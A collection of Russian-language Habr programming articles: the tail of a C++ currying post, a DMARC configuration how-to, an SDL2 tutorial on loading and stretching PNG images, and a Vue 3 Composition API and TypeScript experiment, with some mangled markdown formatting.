std::cout << fooRes << " " << someFoo.m\_bar << std::endl;
someFoo.m\_bar = 42;
auto lambda = [someFoo] (int bar, int baz) mutable { return someFoo.doFoo (bar, baz); };
const auto lambdaRes = curry (lambda) (4) (2);
std::cout << lambdaRes << std::endl;
}
```
Ещё всё вместе есть [онлайн](http://melpon.org/wandbox/permlink/ThgIHjWv3KLgJSNu).
Теперь ответы на некоторые предполагаемые вопросы:
**Зачем параметризовать `CurryImpl` типом функции, почему бы просто не использовать `std::function`?**
1. В `std::function` внутри сидит type erasure, который далеко не всегда девиртуализируется и инлайнится компилятором. Впрочем, это тема для отдельной статьи
2. Скучно.
**А `std::tuple` тебе не скучно?**
Нет, тем более, что собственная реализация была бы точно такая же, от тупла тут никакого оверхеда.
**Зачем тут C++14, разве C++11 не хватит?**
Неа, не хватит. C++14 тут полезен, в частности:
1. чтобы писать `auto` вместо возвращаемых значений функций, а не выписывать адские рекурсивные `decltype` или ещё что похуже;
2. чтобы не переизобретать compile-time-последовательность чисел (`std::index_sequence_for`, [это вот всё](http://en.cppreference.com/w/cpp/utility/integer_sequence)).
Хотя, конечно, без всего этого вполне можно жить, самое главное — вариадики и вывод типов хотя бы в виде `decltype`.
**Получается, что с функциями с аргументами по умолчанию передать можно будет только лишь аргументы без значений по умолчанию?**
Верно.
**Зачем везде копировать параметры?**
Это представляется разумным: получающийся после частичного применения функции функтор может захотеться куда-нибудь передать как коллбек, вернуть из функции, и так далее. Копировать безопаснее, и вообще, вполне себе в функциональном стиле.
**Почему оно не production-ready?**
Потому что ~~коллеги вас растерзают за такой код, а сисадмин и менеджер не захотят переходить на C++14~~ там наверняка где-то внутри бегает пара проблем, связанных с обработкой ссылок.`` | https://habr.com/ru/post/238879/ | null | ru | null |
# HowTo: DMARC
Недавно пришлось столкнуться со спамящим php-скриптом. Виновник был найден и уничтожен, дыра закрыта… Оставался вопрос с блэклистами. В частности перестала доходить почта на Gmail (reject).
Решил я настроить почту «как надо» — SPF, DKIM и попробовать настроить DMARC.
Оговорюсь сразу — я даже не пробовал разобраться с макросами и не настраивал aspf/adkim (хоть и написал о них).
#### Что такое DMARC?
Описан в [RFC7489](https://datatracker.ietf.org/doc/rfc7489/?include_text=1).
DMARC задает политику как проверять приходящую почту в этом домене и что делать если письма не проходят аутентификацию SPF или DKIM. На картинке показано на каком этапе вступает в работу DMARC.
#### Настройка DMARC
Можно [почитать документацию](https://datatracker.ietf.org/doc/rfc7489/?include_text=1) и постигнуть Дзен, а можно настроить самую базовую политику — настраивается очень просто — к домену добавляется запись
###### Базовый DMARC
``_dmarc.domain.tld IN TXT "v=DMARC1; p=;"
p` - policy - политика, может быть:
`none` - не принимать никаких особых действий, всё на усмотрение почтовика;
`quarantine` - отпарвить в спам;
`reject` - не принимать письмо.
Но такая настройка подходит только в случае единичного сервера и только если вам всё равно доходит почта или нет. Более правильная политика, учитывающая наличие поддоменов с которых может слаться почта и позволяющая получать отчеты:
###### Простой DMARC
`_dmarc.domain.tld IN TXT "v=DMARC1; p=none; sp=none; rua=mailto:postmaster@domain.tld"`
`sp` - subdomain policy - может принимать значения те же что и policy;
`rua` - reporting URI for aggregate reports - задает почтовый адрес в формате mailto:mbox@domain.tld на который раз в сутки будут приходить отчеты в XML
**Пример отчета**
Прихватизировано у Mail.ru из [DMARC: защитите вашу рассылку от подделок](http://habrahabr.ru/company/mailru/blog/170957/)
```
1361304000
1361390400
dmarc\_support@corp.mail.ru
http://corp.mail.ru/en
Mail.Ru
1361304000874948
r
r
adan.ru
none
100
none
adan.ru
pass
adan.ru
pass
adan.ru
20
none
pass
pass
176.9.9.172
```
Есть также такой параметр как `ri` - requested interval - интервал отправки агрегированных отчетов, задается в секундах, по умолчанию 86400. На практике зачастую игнорируется и отчеты присылаются раз в сутки.
Такая политика:
- позволяет получателям почты самим принимать решения что с ней делать;
- охватывает как основной домен (`@domain.tld`) так и все поддомены (например `@srv1.domain.tld`, `@srv2.domain.tld`);
- устанавливает почтовый адрес для принятия ежедневных отчетов о доставке почты (`postmaster@domain.tld`).
Это, разумеется, не всё, но для группы вебсерверов на этом можно и остановиться. А я, пожалуй, продолжу...
#### Готовим сложный DMARC
Сам по себе DMARC прост, сложности наступают с применением политик `quarantine` и `reject`, поэтому прежде чем перейти к применению таких политик нужно рассказать об остальных полях:
`pct` - percentage - процент писем, которые подвергаются политикам, **не** влияет на forensic report. Например, при политике `"v=DMARC1; p=quarantine; pct=50;"` половина писем не прошедших аутентификацию пойдет в спам. По умолчанию `pct=100`.
`aspf` - alignment mode for SPF - режим аутентификации SPF:
`r` - relaxed - аутентификацию могут проходят письма у которых RFC5322.From и SPF-аутентифицированный домен находятся в пределах одного организационного домена (о них ниже, под спойлером). Например, в этом режиме будут аутентифицированы письма у которых в домене, указанном в RFC5321.MailFrom, "some.sub.domain.tld", а поле RFC5322.From - "mbox@domain.tld";
`s` - strict - домен из RFC5321.MailFrom и RFC5322.From должен плностью совпадать.
`adkim` - alignment mode for DKIM - режим аутентификации DKIM, может принимать следующие значения:
`r` - relaxed - аутентификация производится следующим образом: организационный домен из поля `RFC5322.From` в письме и организационный домен из поля `[d= в подписи должны совпадать, Что такое организационный домен и как он определяется - под спойлером:
**Организационные домены / Organizational Domains**
Начнем с выдержек из RFC:
> Organizational Domain:
>
> The domain that was registered with a domain name registrar. In the absence of more accurate methods, heuristics are used to determine this, since it is not always the case that the registered domain name is simply a top-level DNS domain plus one component (e.g., "example.com", where "com" is a top-level domain). The Organizational Domain is determined by applying the algorithm found in Section 3.2.
>
> ...
>
> The Organizational Domain is determined using the following algorithm:
>
>
>
> 1. Acquire a "public suffix" list, i.e., a list of DNS domain names reserved for registrations. Some country Top-Level Domains (TLDs) make specific registration requirements, e.g., the United Kingdom places company registrations under ".co.uk"; other TLDs such as ".com" appear in the IANA registry of top-level DNS domains. A public suffix list is the union of all of these. Appendix A.6.1 contains some discussion about obtaining a public suffix list.
>
> 2. Break the subject DNS domain name into a set of "n" ordered labels. Number these labels from right to left; e.g., for "example.com", "com" would be label 1 and "example" would be label 2.
>
> 3. Search the public suffix list for the name that matches the largest number of labels found in the subject DNS domain. Let that number be "x".
>
> 4. Construct a new DNS domain name using the name that matched from the public suffix list and prefixing to it the "x+1"th label from the subject domain. This new name is the Organizational Domain.
>
>
>
> Thus, since "com" is an IANA-registered TLD, a subject domain of "a.b.c.d.example.com" would have an Organizational Domain of "example.com".
>
>
>
> The process of determining a suffix is currently a heuristic one. No list is guaranteed to be accurate or current.
>
>
1. Получается список "публичных суффиксов", за объяснениями что это такое лучше пойти сюда publicsuffix.org
2, Из письма извлекается почтовый домен, разбивается и нумеруется справа налево на части. В терминологии этой статьи - `sub.domain.tld` превратится в #3 - `sub`, #2 - `domain`, #1 - `tld`.
3. В списке публичных суффиксов найти такой суффикс, чтобы с ним совпадало наиболшее число частей, пусть это будет Х.
4. Собрать новый домен из Х+1 частей - это и будет организационный домен.
Пример:
Письмо от info@a.sub.domain.tld
Части: `tld` - #1, `domain` - #2, `sub` - #3, `a` - #4
Далее в списке публичных суфиксов находится `tld`, поэтому Х=1
Соответственно новый домен для письма будет из 2х частей - `domain.tld`
`s` - strict - FQDN из поля ``d= в подписи и RFC5322.From` из письма должны полностью совпадать для прохождения проверки.
`ruf` - reporting URI for forensic reports - почта для немедленных отчетов об ошибках аутентификации. К сожалению не все почтовые сервисы поддерживают отсылку этих отчетов (например, Gmail на момент написания этой статьи).
`fo` - failure report options - контролирует в каком случае присылается forensic report:
`0` - используется по умолчанию - присылать отчет если не пройден ни один этап аутентификации;
`1` - присылать отчет если не пройден хотя бы один этап аутентификации;
`d` - присылать отчет если не пройдена аутентификация DKIM;
`s` - присылать отчет если не пройдена аутентификация SPF.
##### Как правильно использовать DMARC?
Тут всё зависит от ваших потребностей:
Для вебсерверов я бы рекомендовал простой DMARC, указанный мною ранее:
`_dmarc.domain.tld IN TXT "v=DMARC1; p=none; sp=none; rua=mailto:postmaster@domain.tld"`
В любом случае начинать нужно с такой политики и какое-то время нужно мониторить чтобы все письма приходили. Далее можно сменить политику на `quarantine`, применить её к 5% (указав `pct=5`) почты и с интервалом в, например, одну неделю поднимать процент до 10-20-35-50-75-100%, а потом так же перейти на политику `reject`.
При перенастройках SPF/DKIM также неплохо выставлять `ruf=mailto:your-mbox@domain.tld` и ``fo=1 для получения отчетов о поломках.
На этом всё, об опечатках прошу сообщать в личку, а о неточностях и ошибках - в комментариях, я внесу исправления в статью.```](https://publicsuffix.org)`` | https://habr.com/ru/post/253705/ | null | ru | null |
# Уроки по SDL 2: Урок 4 — Растяжка PNG
Всем привет! Это четвертый урок по SDL 2. Я решил объеденить два урока в один, так как в оригинале они маленькие. Но их можно найти [тут](http://lazyfoo.net/tutorials/SDL/05_optimized_surface_loading_and_soft_stretching/index.php) и [тут](http://lazyfoo.net/tutorials/SDL/06_extension_libraries_and_loading_other_image_formats/index2.php). Что ж, начнем урок.
Сначала определимся с тем, что мы будем делать. Сегодня научимся загружать изображения другого расширения (не BMP), а именно: PNG. Переделаем изображение в другой формат для ускорения работы и изменим размеры изображения. Работать будем с этим избражением:
Установка
---------
Итак, сначала научимся загружать PNG. В стандартном наборе функций SDL 2 нет загрузки изображения формата не BMP. Чтобы загрузить другой формат нужно установить расширение.
Вот инструкции:
**Windows**Вы переходите на эту [страницу](https://www.libsdl.org/projects/SDL_image/) и скачиваете архивы ZIP или TAR.GZ из раздела **Development Libraries**. Распаковываете и кидаете их в папку с компилятором.
**Linux**Если в Вашей системе использется Debian, то вам нужно ввести эти команды:
```
apt-cache search libsdl2-image
apt-get install libsdl2-image-dev
```
Если же использется Yellowdog Updater, Modified, то вы вводите эте команды:
```
yum search SDL2_image-devel
yum установить SDL2_image-devel
```
**Mac OS**Скачиваете DMG файл и читаете Readme.
Пишем код
---------
После установки **SDL\_image** приступаем к написанию кода. Сначала как всегда подключим библиотеки, зададим размеры окна и создадим 3 глобальных переменных.
```
#include
#include
#include
const int SCREEN\_WIDTH = 640;
const int SCREEN\_HEIGHT = 480;
SDL\_Window \*win = NULL;
SDL\_Surface \*scr = NULL;
SDL\_Surface \*flower = NULL;
```
Заметьте, что **SDL\_image.h** я подключил отдельно, так как это отдельная библиотека.
Далее пишем 3 функции, известне нам, в которые кое-что добавим и изменим, как обычно.
**Init()**
```
bool init() {
if (SDL_Init(SDL_INIT_VIDEO) != 0) {
std::cout << "Can't init video: " << SDL_GetError() << std::endl;
return false;
}
int flags = IMG_INIT_PNG;
if ( !( IMG_Init( flags ) & flags ) ) {
std::cout << "Can't init image: " << IMG_GetError() << std::endl;
return false;
}
win = SDL_CreateWindow("Растяжка PNG", SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, SCREEN_WIDTH, SCREEN_HEIGHT, SDL_WINDOW_SHOWN);
if (win == NULL) {
std::cout << "Can't create window: " << SDL_GetError() << std::endl;
return false;
}
scr = SDL_GetWindowSurface(win);
return true;
}
```
Здесь мы добавили иницализацию модуля **SDL\_image**. Чтобы его инициализировать, дляначала создаем переменную типа **int**, у нас это **flags**, и сохраняем туда все флаги, которые вы хотите использовать для инициализации.
**Список всех флагов****SDL\_INIT\_PNG** — иницализирует загрузчик PNG изображений;
**SDL\_INIT\_JPG** — иницализирует загрузчик JPG изображений;
**SDL\_INIT\_TIF** — иницализирует загрузчик TIF изображений;
Далее пишем вот такое условие:
```
if ( !( IMG_Init( flags ) & flags ) )
```
Функция **IMG\_Init()** возвращает те флаги, которые она смогла инициализировать. Если она вернула флаги, но тот, который мы хотели отсутсвует, мы возвращаем ошибку. Очень просто. Так же, обратите внимание на то, что я использую **IMG\_GetError** вместо **SDL\_GetError**, так как ошибку мы ищем в функции модуля **SDL\_image**, а не **SDL**.
Так же хочу отметить, что я решил использовать тип **bool** для **return**а — это более рациональный способ.
Продолжим написание нашей программы, напишем функцию **Load()**, в которой загрузим PNG изображение и конвертируем его.
**Load**
```
bool load() {
flower = IMG_Load("flower.png");
if (flower == NULL) {
std::cout << "Can't load: " << IMG_GetError() << std::endl;
return false;
}
flower = SDL_ConvertSurface(flower, scr->format, NULL);
if (flower == NULL) {
std::cout << "Can't convert: " << SDL_GetError() << std::endl;
return false;
}
return true;
}
```
Здесь мы загружаем изображение новой функцией **IMG\_Load**. Функция у нее та же, что и у **SDL\_LoadBMP** и результат такой же — она возвращает экземпляр класса **SDL\_Surface**. Для поиска ошибок при загрузке так же используем **IMG\_GetError**.
Пришло время конвертации. Сначала немного теории. Мало, кто знает, но при загрузке изображения, оно загружается в формате 24бит, а большинство современных дисплеев имеют формат 32бит. И каждый раз, когда мы отображали изображение на экране, оно сначала переделовалось в формат 32бит. Для простых программ это не имеет значения, но при создании какого-то большого проэкта, это очень сильно скажется на производительности, так что мы возьмем и на этапе загрузки изображений переделаем их в формат дисплея. В этом на поможет функция **SDL\_ConvertSurface**. Она принимает 3 значения: Поверхность, которую мы хотим форматировать, фомат, в который мы хотим форматировать и флаги. мы хоти форматировать изображение **flower**, передаем его первым параметром. Вторым параметром берем формат оконной поверхности, флаги не будем использовать. Возвращает эта функция копию поверхности, которую мы сразу присвоим **flower**. Для поиска ошибок берем функцию **SDL\_GetError()**, т. к. мы работаем уже с поверхностями, а они из **SDL**, а не из **SDL\_image**.
Следом пишем функцию Quit, в нее добави всего одну функцию.
**Quit**
```
void quit() {
SDL_FreeSurface(flower);
SDL_FreeSurface(scr);
SDL_DestroyWindow(win);
SDL_Quit();
IMG_Quit();
}
```
Мы добавили **IMG\_Quit**, чтобы разынициализировать модуль **SDL\_image**.
Main
----
Теперь осталось самое простое — функция **main**.
```
int main (int argc, char ** args) {
if (!init()) {
system("pause");
quit();
return 1;
}
if (!load()) {
system("pause");
quit();
return 1;
}
```
Для начала инициализируем и создадим всё, что нужно и загрузим нужные файлы. Здесь останавливаться не будем.
```
SDL_Rect bg_flower;
bg_flower.w = SCREEN_WIDTH;
bg_flower.h = SCREEN_HEIGHT;
bg_flower.x = 0;
bg_flower.y = 0;
```
После этого создадим объект класса **SDL\_Rect**. Он нам нужен будет для растягивания изображения. Если вы заметили, то изображение цветочка в 4 раза меньше размеров окна (в 2 раза тоньше и в 2 раза ниже), а нам надо его растянуть до размеров окна. Так что в ширину прямоугольника **bg\_flower** записываем значение ширины окна, а в высоту — высоту окна. коорднаты ставим 0, для того, чтобы изображение отображалось в левом верхнем углу.
Для отображения изображения, с измененными размерами, есть специальная функция. Выглядит она вот так:
```
SDL_BlitScaled(flower, NULL, scr, &bg_flower);
```
Она принимает 4 значения. Первое — изображение, которое мы хотим отобразить, второе — Прямоугольник, который мы хотим вырезать из этого изображения(если хотим взять всё изображение, то пишем NULL), третье — поверхность, на которую мыхотим отобразить изображение, а четвертое — тот самый прямоугольник, размеры и координаты которого мы берем для растягивания или сжатия и отображения изображения.
Дальше просто обновляем поверхность экрана, ставим задержку, выходим и возвращаем 0.
```
SDL_UpdateWindowSurface(win);
SDL_Delay(2000);
quit();
return 0;
};
```
На этом наша программа кончается. Для того, чтобы скомпилировать сее чудо, нужно добавить -lSDL2\_image, как еще один параметр компиляции.
А на этом мы на сегодня закончим. Вот такой код у нас вышел:
```
#include
#include
#include
const int SCREEN\_WIDTH = 640;
const int SCREEN\_HEIGHT = 480;
SDL\_Window \*win = NULL;
SDL\_Surface \*scr = NULL;
SDL\_Surface \*flower = NULL;
bool init() {
if (SDL\_Init(SDL\_INIT\_VIDEO) != 0) {
std::cout << "Can't init video: " << SDL\_GetError() << std::endl;
return false;
}
int flags = IMG\_INIT\_PNG;
if ( !( IMG\_Init( flags ) & flags ) ) {
std::cout << "Can't init image: " << IMG\_GetError() << std::endl;
return false;
}
win = SDL\_CreateWindow("Растяжка PNG", SDL\_WINDOWPOS\_UNDEFINED, SDL\_WINDOWPOS\_UNDEFINED, SCREEN\_WIDTH, SCREEN\_HEIGHT, SDL\_WINDOW\_SHOWN);
if (win == NULL) {
std::cout << "Can't create window: " << SDL\_GetError() << std::endl;
return false;
}
scr = SDL\_GetWindowSurface(win);
return true;
}
bool load() {
flower = IMG\_Load("flower.png");
if (flower == NULL) {
std::cout << "Can't load: " << IMG\_GetError() << std::endl;
return false;
}
flower = SDL\_ConvertSurface(flower, scr->format, NULL);
if (flower == NULL) {
std::cout << "Can't convert: " << SDL\_GetError() << std::endl;
return false;
}
return true;
}
void quit() {
SDL\_FreeSurface(flower);
SDL\_FreeSurface(scr);
SDL\_DestroyWindow(win);
SDL\_Quit();
IMG\_Quit();
}
int main (int argc, char \*\* args) {
if (!init()) {
system("pause");
quit();
return 1;
}
if (!load()) {
system("pause");
quit();
return 1;
}
SDL\_Rect bg\_flower;
bg\_flower.w = SCREEN\_WIDTH;
bg\_flower.h = SCREEN\_HEIGHT;
bg\_flower.x = 0;
bg\_flower.y = 0;
SDL\_BlitScaled(flower, NULL, scr, &bg\_flower);
SDL\_UpdateWindowSurface(win);
SDL\_Delay(2000);
quit();
return 0;
};
```
Всем пока!
[<<](https://habr.com/ru/post/455577/) Предыдущий урок || Следующий урок [>>](https://habr.com/ru/post/456798/) | https://habr.com/ru/post/456656/ | null | ru | null |
# Vue 3: CompositionAPI + Typescript эксперименты
В прошлой статье меня упрекнули, что я при живом Vue 3 пишу про "устаревший" Vue 2. Отговорившись тем, что Vue 3 еще не production-ready, я понемногу начал его смотреть и изучать. И поскольку я заядлый любитель типизации и различных фичей с сахарком, то рассматривать Vue 3 с его новеньким CompositionAPI в статье именно с этой точки зрения. А заодно поэкспериментируем и попробуем написать свой типизированный store, организовать компоненты в стиле `</code> и подружить его с typescript и eslint, а также напишем небольшой компонент на <code>TSX</code> в качестве еще одного эксперимента. <a href="https://github.com/sadfsdfdsa/habr\_vue3" rel="noopener noreferrer nofollow">Весь код приложения</a>.</p><figure class="full-width "><img src="https://habrastorage.org/r/w780q1/getpro/habr/upload\_files/f39/070/9d1/f390709d1cac6831a0ade6a7fac00b8d.jpg" width="1280" height="710" data-src="https://habrastorage.org/getpro/habr/upload\_files/f39/070/9d1/f390709d1cac6831a0ade6a7fac00b8d.jpg" data-blurred="true"/><figcaption></figcaption></figure><details class="spoiler"><summary>Ремарка</summary><div class="spoiler\_\_content"><p>Автор пишет всего второй пост, фидбек в комментарии или ЛС - приветствуется! Первый пост про Vue 2 и его типизацию на Typescript можете прочитать <a href="https://habr.com/ru/post/540798/" rel="noopener noreferrer nofollow">здесь</a>, в большие проекты это все еще актуально.</p></div></details><h2>Что глобально нового во Vue 3?</h2><p>В общем и целом команда разработки фреймворка в этом релизе постаралась максимально упростить работу с реактивностью, улучшить возможности декомпозиции логики на более мелкие части и в дополнение к этому дала буст к производительности (но тестировать это я буду в следующий раз).</p><h2>Как Vue 3 поможет типизации?</h2><p>CompositionAPI позволит уйти от привычного всем Vuex, который очень сложно нормально типизировать (в другой статье я попытался максимально легко и полноценно это сделать - и все равно остались серьезные проблемы). Большая часть трудностей касается логики actions Vuex - в разных модулях могут быть экшены с одинаковым названием, поэтому Vuex не может гарантировать тип возвращаемых значений из них. Основные библиотеки для типизации Vuex давно перешли на модульность - импортируете себе конкретный модуль и напрямую через его инстанс совершаете все манипуляции, без навешивания чего-либо на Vue прототип. Поэтому в этой статье попробуем написать замену Vuex.</p><p>Также во vue 3 можно уйти от class-components, которые сильно улучшали типизацию во vue 2, а все писать прямо в <code><script lang="ts" setup></code> и полностью типизировать состояние, методы, хуки и тп, новые возможности setup позволят типизировать сигнатуры Emit ивентов (правда, только со стороны "детей").</p><h2>Какие проблемы остались?</h2><p>Типизация в темплейтах - головная боль Vue, которой нет в не любимом мной реакте. Эта типизация касается как различных циклов и слотов, так и props, eventHandlers на кастомные компоненты, их типизация доступна только внутри компонентов-детей. Попробуем это решить с помощью TSX и новым setup'ом.</p><h2>Создание проекта</h2><p>Я использовал <a href="https://vitejs.dev/guide/#scaffolding-your-first-vite-project" rel="noopener noreferrer nofollow">vite</a> для создания проекта, дополнительные настройки - typescript (vite template <code>vue-ts</code>), в дополнение установил <em>eslint</em> с рекомендованными Vue пресетами, со следующим отключенный правилом, позже объясню его значимость:</p><pre><code class="json">'@typescript-eslint/no-unused-vars': 'off', // uses in new <script setup></code></pre><p>Вы можете использовать Vue 3 откуда угодно, важно лишь его наличие и typescript.</p><h2>Хранилище данных (store)</h2><p>Я давно хотел это сделать вместо Vuex встроить кастомное хранилище на новых Ref и Reactive апи. В ходе раздумий принял решение архитектурно сохранить вид "как Vuex", что означает соблюдение следующих принципов:</p><ol><li><p>Модульность (куда же без нее)</p></li><li><p>Разбиение на те же составляющие для работы с данными</p></li></ol><p>Каждый слой будет отвечать за те же действия, что и аналогичный в Vuex:</p><ol><li><p>State - класс с статичными полями, каждое обернуто в соответствии с типом в Ref (для примитивов) или Reactive (для объектов, массивов и т.п.)</p></li><li><p>Mutations - класс, который напрямую взаимодействует со State, состояние меняется только с помощью мутаций, они также не доступны в открытом апи модуля (так как все манипуляции со стором должны идти через actions)</p></li><li><p>Actions - бизнес логика модулей, под собой вызывает мутации</p></li><li><p>Getters - получение данных из состояния с необходимыми изменениями и кэшированием (например - отфильтрованный массив элементов, но если нужен просто сам массив целиком - читайте его сразу из стейта)</p></li></ol><p>Мои мысли касались идеи по упрощению логики взаимодействия со стором - убрать мутации и изменять состояние откуда угодно, но я подумал, что это отказ от принципов Vue разделения слоев данных и отодвинул эту идею. Стоит отметить, что это касается именно хранилища данных, если вы будете делать аналоги миксинов для двух соседних компонентов (уже не в сторе) - меняйте данные согласно другим принципам (зачастую - как вы хотите), но я считаю, что в сторе стоит соблюдать некоторую разграниченность зон ответственности разных архитектурных частей.</p><details class="spoiler"><summary>Код хранилища данных (store)</summary><div class="spoiler\_\_content"><pre><code class="javascript">/\*\*
\* @file src/store/index.ts
\* @author Artem Shuvaev
\* @version 1.0.0
\* @fileoverview Entry point of store
\*/
import habrModule from './modules/habrModule'
export { habrModule }
</code></pre><pre><code class="javascript">/\*\*
\* @file src/store/modules/habrModule/index.ts
\* @author Artem Shuvaev
\* @version 1.0.0
\* @fileoverview Entry of store module
\*/
import state from './state'
import getters from './getters'
import actions from './actions'
export default {
state,
getters,
actions
}</code></pre><pre><code class="javascript">/\*\*
\* @file src/store/modules/habrModule/state.ts
\* @author Artem Shuvaev
\* @version 1.0.0
\* @fileoverview State for store example with new Ref and Reactive Vue3
\*/
import { ref, reactive } from 'vue'
export default class State {
/\*\*
\* Example string ref (reactive)
\*/
static strExample = ref('string example')
/\*\*
\* Example number ref (reactive)
\*/
static numberExample = ref(0)
/\*\*
\* Example string reactive
\*/
static objExample = reactive({
property: 'property string',
})
}
</code></pre><pre><code class="javascript">/\*\*
\* @file src/store/modules/habrModule/mutations.ts
\* @author Artem Shuvaev
\* @version 1.0.0
\* @fileoverview Mutations for store example with new Ref and Reactive Vue3
\*/
import State from './state'
export default class Mutations {
/\*\*
\* Set to state new string
\* @param value
\*/
static setString (value: string): void {
State.strExample.value = value
}
/\*\*
\* Increate the number in state
\*/
static increaseNumber (): void {
State.numberExample.value++
}
}
</code></pre><pre><code class="javascript">/\*\*
\* @file src/store/modules/habrModule/getters.ts
\* @author Artem Shuvaev
\* @version 1.0.0
\* @fileoverview Getters for store example with new Ref and Reactive Vue3
\*/
import type { Ref } from 'vue'
import State from './state'
export default class Getters {
/\*\*
\* Test getter with cache
\* @deprecated must use readonly and state proxy if not need any business logic
\*/
static get strExample(): Ref<string> {
return State.strExample
}
}
</code></pre></div></details><h2>Компонент в новом синтаксисе setup</h2><p>Главной "фичой" которую я хотел посмотреть и потрогать во Vue 3 является новый способ написания компонентов, и если вы подумали о новом <code>defineComponent</code> - то вы немного ошиблись. В 3 мажорной версии, как известно, введен новый способ описания логики - внутри специальной функции <code>setup</code>. Что-то типо <a href="https://v3.vuejs.org/guide/composition-api-setup.html#props" rel="noopener noreferrer nofollow">такого</a>.</p><pre><code class="javascript"><script>
export default {
props: {
title: String
},
setup(props) {
console.log(props.title)
}
}`Но недавно я открыл для себя возможность другого, более "сахарного" приема для этой функции:
```
// all from SETUP here
```
Что это дает? Упрощение и этим все сказано! В сочетании с новым Composition API это позволит дробить компоненты до условной бесконечности, ну и писать немножко проще. Для экспериментов над Vue 3 я выбрал его как основной стиль написания компонентов, но в дополнение ниже я приведу пример компонента на TSX.
Что из минусов? К сожалению, редакторы кода (а заодно и eslint) не видят использования переменных из этого скрипта в темплейте - это может привести к действительно не используемым переменным. Также нужно быть осторожными с формированием таких компонентов. Vue не декларирует как вы должны их писать, поэтому важно договориться в команде/проекте об особенностях данного стиля написания. А еще это экспериментальная [фича](https://github.com/vuejs/rfcs/pull/227), и надо помнить об этом (как и сказано выше - рубрика - эксперименты!)
Ниже можете увидеть мои мысли в реализации примера, но я сделал это из собственной головы, если вы придумаете другую реализацию (например, некоторые объявляют состояние компонента единым объектом, как во Vue 2 и оборачивает его в Reactive - это тоже жизнеспособный подход, возможно даже лучше моего), не поленитесь рассказать о ней в комментариях, пожалуйста!
Но в целом это новый полноценный способ декларации скриптов компонента, который имеет право на жизнь и мне лично понравился, надеюсь его будут поддерживать и стабилизируют, а я точно буду его использовать как минимум в личных проектах.
Код - App.vue
```
##### App.vue
String from store: {{ readonlyStringFromStore }}
Counter: {{ counter }}
/\*\*
\* @file src/App.vue
\* @author Artem Shuvaev
\* @version 1.0.0
\* @fileoverview Entry Vue example file for it's project
\*/
import { ref, onMounted, readonly, defineAsyncComponent } from 'vue'
import { habrModule } from './store'
/\* Components \*/
// Vue + new setup script example component
const TheHelloWorldComponent = defineAsyncComponent(
() => import('./components/TheHelloWorldComponent.vue')
)
// Vue + new setup and TSX render example
const TheTestComponent = defineAsyncComponent(
() => import('./components/TheTestComponent/index')
)
/\* Data \*/
// must be readonly cause of state proxying
const readonlyStringFromStore = readonly(habrModule.state.strExample)
// simple reactive variable
const counter = ref(0)
/\* Hooks \*/
onMounted(() => {
habrModule.actions.setString('changed from App.vue string')
})
/\* Methods \*/
/\*\*
\* Increase local reactive counter
\*/
const increaseCounter = () => {
counter.value++
}
¬
@import 'styles.css';
.main {
background-color: aquamarine;
padding: 5vh;
}
```
Я знаю, что отображение после публикации полетело к чертям, так что очень извиняюсь, [вот ссылка на гитхаб](https://github.com/sadfsdfdsa/habr_vue3/blob/master/src/App.vue)
Взаимодействие детей с родителями
---------------------------------
Выше приведен пример компонента-родителя, внутри которого есть пара детей, для примера (поскольку в интернете еще не так много документации об этой особенности) я приведу полноценный компонент с использованием props, имитирующий события в родителя и взаимодействующий с хранилищем данных.
Из новых особенностей тут - можно типизировать emit полноценно, вместе с полезной нагрузкой, лучше чем при использовании class-components во Vue 2.
Неверный тип payload, это ли не чудо типизации?Код TheHelloWorldComponent
```
##### TheHelloWorldComponent
Now counter is {{ props.counter }}
Emit custom event (increase counter)
Change string in store
/\*\*
\* @file /src/components/TheHelloWorldComponent.vue
\* @fileoverview Child component example with using new setup, emits, store etc
\* @author Artem Shuvaev
\* @version 1.0.0
\*/
import { defineEmit, defineProps } from 'vue'
import { habrModule } from '../store'
/\* Props \*/
const props = defineProps({
counter: {
type: Number,
required: true,
},
})
/\* Emits \*/
// Define emits signatures,
// I don't know but signatures works only with null as output type (instead VOID or UNDEFINED)
const emit = defineEmit({
customEvent: null,
customEvent2: (payload: { test: string }) => null,
})
/\* Methods \*/
/\*\*
\* Call dispatch of store module
\*/
const changeString = () =>
habrModule.actions.setString('changed from HelloWorld.vue')
/\*\*
\* @emits customEvent
\*/
const emitCustomEvent = () => emit('customEvent')
// it's typed payload!
const emitCustomEvent2 = () =>
emit('customEvent2', {
test: 'string',
})
.hello {
background-color: lightsteelblue;
padding: 5vh;
margin-top: 5vh;
}
```
Закуска - TSX компонент
-----------------------
Да, я люблю типизацию, а что мешает полноценной типизации во Vue? Правильно - template, это красивая и очень удобная нотация написания компонентов as html, но я хочу туда подсветку, ошибки не в консоли браузера, а в редакторе кода. Есть ли решение? Да, пойти к React и попросить оттуда tsx. Работает ли это во Vue 3? Да, и еще лучше чем во втором! Работает ли это с сахарным сетапом, как выше? Нет, но возможно я неправильно его готовил, если подскажите в комментариях - буду очень благодарен.
Из воды выше - писать необходимо "как обычно", через defineComponent, но в setup нужно возвращать не переменные, которые будут использоваться в темплейте, а сам темплейт в стиле tsx. И вот что у меня получилось.
```
/**
* @file /src/components/TheTestComponents/index.tsx
* @fileoverview Test component with using TSX rendering in setup function
* @author Artem Shuvaev
* @version 1.0.0
*/
import { defineComponent } from 'vue'
import styles from './styles.module.css'
export default defineComponent({
name: 'TheTestComponent',
props: {
counter: {
type: Number,
default: 0,
},
},
emits: {
click: null,
},
setup(props, { emit }) {
/** Methods */
/**
* Simple click handler
* @emits click
*/
const onClickHandler = () => emit('click')
/** Rendering */
return () => (
##### TheTestComponent
Now counter is: {props.counter}
Emit click (increase counter)
)
},
})
```
Это уже стабильно и полностью поддерживается => практически готово к продакшену (в ногу с самим Vue 3). Удобно ли это? С точки зрения типизации - абсолютный рай по сравнению с template. По-vue'шному ли это? Не особенно, но чего не сделаешь ради 100% автоподсказок в коде.
Заключение
----------
Я перечитал весь текст выше много раз, но морали в нем нет и не будет. Я изучал и экспериментировал над новой версией своего любимого фреймворка и буду продолжать это интересное занятие, чего и вам советую. Но надеюсь, что мои эксперименты кому-то помогут! [Код приложения](https://github.com/sadfsdfdsa/habr_vue3).
